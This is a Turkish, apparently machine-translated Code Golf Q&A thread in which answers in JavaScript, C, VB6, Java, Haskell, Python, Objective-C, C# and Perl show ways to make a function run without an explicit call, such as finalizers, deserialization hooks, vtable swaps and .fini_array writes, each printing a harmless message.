    this.toString = function(){alert('Wow')};

Sonra konsolda bir .toString()şeyler yazmaya başlayın - konsolda yazarken Firefox birden çok kez arama yapar .

Benzer yaklaşım:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

Seçim platformu Linux'tur. Fonksiyonumuzu arayamayız, bu yüzden linker yerine bunu yapalım:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Sihirli adres nasıl alınır?

Linux Standart Temel Çekirdek Şartnamesi'ne güveniyoruz:

.fini_array

Bu bölüm, bölümü içeren yürütülebilir veya paylaşılan nesne için tek bir sonlandırma dizisine katkıda bulunan bir dizi işlev işaretleyicisine sahiptir.

  1. Kodu derleyin:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Adresini inceleyin .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Bunun VMA'sını bulun:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

ve bu değeri değiştirin ADDRESS.


5

VB6 ve VBA

Bunun yeterli olup olmadığından emin değilim, çünkü bir sınıfın yöntemini çağırıyor:

Bu bir sınıf modülünde gider:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

Ve bu "çağrı" kodu:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Bu, sınıf için vtable'daki iki Subs için vptr's işlevini değiştirerek çalışır.


Ahbap, sen tehlikelisin ! Güzel!
Mathieu Guindon

Ben derdim yok VB6 / VBA bir nedeni, hak yöntem aksi takdirde var - bir sınıfın bir üyesi olan prosedür );
Mathieu Guindon

5

Haskell

Yaparsanız, haskell'de:

main=putStrLn "This is the main action."

Çalıştırdığınızda adını çağırmadan hemen çalıştırılır. Sihirli!


1
Haskell sayılmaz. Sen olamaz sadece kendisine daha IO eylemlerini zincirle ya da bir yere atayın, bir IO eylemi diyoruz.
John Dvorak

Bu IO eylemleri için eşdeğer bir kavramdır.
PyRulez

5

JavaScript

Kolay, sadece JS'deki on___olayları kullanın . Örneğin:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

Benden başka java cevapları. Kodda gördüğünüz gibi, doğrudan çağırır theCalledMethod, ancak notCalledMethodbunun yerine yöntem yürütülür.

Sonunda 2 şey yapıyorum:

  • Çağırmadan bir yöntemi çağırmak.
  • Bir yöntemi çağırarak değil.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Çalıştırılıyor:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Bu platforma bağlıdır. Özellikle, platform varsayılan karakter kodlamasının UTF-8 olduğu OS X'te büyük olasılıkla başarısız olacaktır.
ntoskrnl

@ntoskrnl Bu, kodlama adını bir parametre olarak getBytes()açarak metoda geçirirseniz düzeltilmesi kolay olacaktır getBytes("UTF-8"). OS X'im olmadığından, çalışıp çalışmadığını test edebilir misiniz?
Victor Stafusa

UTF-8 ikili veriler için çalışmıyor. ISO-8859-1 gibi bir tek baytlık kodlamanın çalışması gerekir, ancak ikili verileri bir dize olarak kabul etmek hala yanlıştır.
ntoskrnl

3
@ntoskrnl Aslında, burada yaptığım şeyi yapmak için sınıf dosyalarına tecavüz etmek yanlıştır, kodlama sorunların en küçüğüdür. :)
Victor Stafusa

4

piton

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

Yay, çöp toplama!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Kaçınılmaz olarak bunun System.gc()güvenilmez olduğunu söyleyenler için bir versiyon :

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Objective-C

(Muhtemelen sadece Mac OS X'te clang ile derlenmişse)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Bu kod kullanılmayan işleve ulaşmak için birkaç püf noktası kullanır. Birincisi, 0x2A27 değeridir. Bu, bir nesnenin ayrılmasını önlemek için işaretçideki değeri kodlayan tamsayı 42 için etiketli bir işaretçidir .

Sonraki olduğunu MyClass. Hiçbir zaman kullanılmaz, ancak çalışma zamanı +loadönceden yüklendiğinde yöntemi çağırır main. Bu dinamik NSValueolarak, üst sınıfı olarak kullanılan yeni bir sınıf yaratır ve kaydeder . Ayrıca , uygulama olarak 's' +loadkullanarak o sınıf için bir yöntem ekler . Kayıt olduktan sonra, yeni sınıftaki load yöntemini çağırır (nedense otomatik olarak aranmaz).MyClass-unusedMethod

Yeni sınıfın load metodu unusedMethodetkin olarak adlandırılan ile aynı uygulamayı kullandığından . Üst unusedFunctionsınıfını alır ve bu sınıfın doesNotRecognizeSelector:yöntemi için bir uygulama olarak ekler . Bu yöntem başlangıçta bir örnek yöntemdi MyClass, ancak yeni sınıfta bir sınıf yöntemi olarak adlandırılıyor self, yeni sınıf nesnesi de öyle. Bu nedenle, süper sınıf NSValue, bunun için de süper sınıftır NSNumber.

Sonunda mainkoşar. İşaretçi değerini alır ve bir NSString *değişkene ( ARC ile veya ARC olmadan kullanılmasına izin veren __bridgeilk döküm) yapışır void *. Sonra, bu stringByAppendingString:değişkeni aramaya çalışır . Aslında, bu yöntemi uygulamayan bir sayı olduğu için, doesNotRecognizeSelector:bunun yerine, yöntem kullanılarak, sınıflandırma hiyerarşisi boyunca NSValueuygulandığı yere kadar ilerleyen bir yöntem çağrılır unusedFunction.


Not: Diğer sistemlerle uyumsuzluk, diğer uygulamalar tarafından gerçekleştirildiğine inanmadığım etiketli işaretçi kullanımından kaynaklanmaktadır. Bu normalde oluşturulmuş bir numara ile değiştirilmişse, kodun geri kalanı iyi çalışmalıdır.


Hm, CiruZ 'ObjFW ile deneyin , oldukça iyi bir Objective-C çalışma zamanı ve çerçeve, belki bu veya yakın bir şey de onunla çalışacak ;-)
mirabilos

@mirabilos İçindeki tek uyumsuzluk 0x2A27değerdir, bu yüzden bunun başka bir yerde uygulanıp uygulanmadığını bilmiyorum. ObjFW kesinlikle olsa da ilginç.
ughoavgfhw


@ Bryan Teşekkürler! Tam olarak bu makaleyi arıyordum ve doğru adı hatırlayamadım.
ughoavgfhw

@BryanChen ah tamam. ughoavgfhw: Tabii, onunla oynamak istemeniz durumunda alternatif çalışma zamanına işaret etmek istedim.
mirabilos

3

JavaScript

Açıkçası bu işlev çağırıyor gibi görünmüyor gibi hissediyorum

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Bana sorarsan güzel sınır.
Cole Johnson,

@ColeJohnson Sanırım çoktan geçti ...
Tomas

3

C # (ile using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Java seri hale getirme özel bir özellikten yararlanıyorum. readObjectBir nesne serisi kaldırılan edildiğinde yöntem çağrılır, ancak doğrudan denir değil - benim koduyla, ne de seri kaldırma kütüphanesi tarafından. Kaynağın derinliklerine kazarsanız, düşük seviyede yöntemin dahili olarak yansıma yoluyla çağrıldığını görürsünüz.


Evet; seri hale getirme oldukça komik şakalar sağlar :); btw orada java için diğer serileştirme
loblarında

3

Perl

Bu çok kolay. Aşağıdaki kod, açık çağrı olmadan bile otomatik olarak alt yordamdaki kodu çalıştırır.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Siz aramayı rahatsız etseniz bile, bir kez daha aranacaktır.


Nasıl? büyünün arkasında
duramıyorum
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.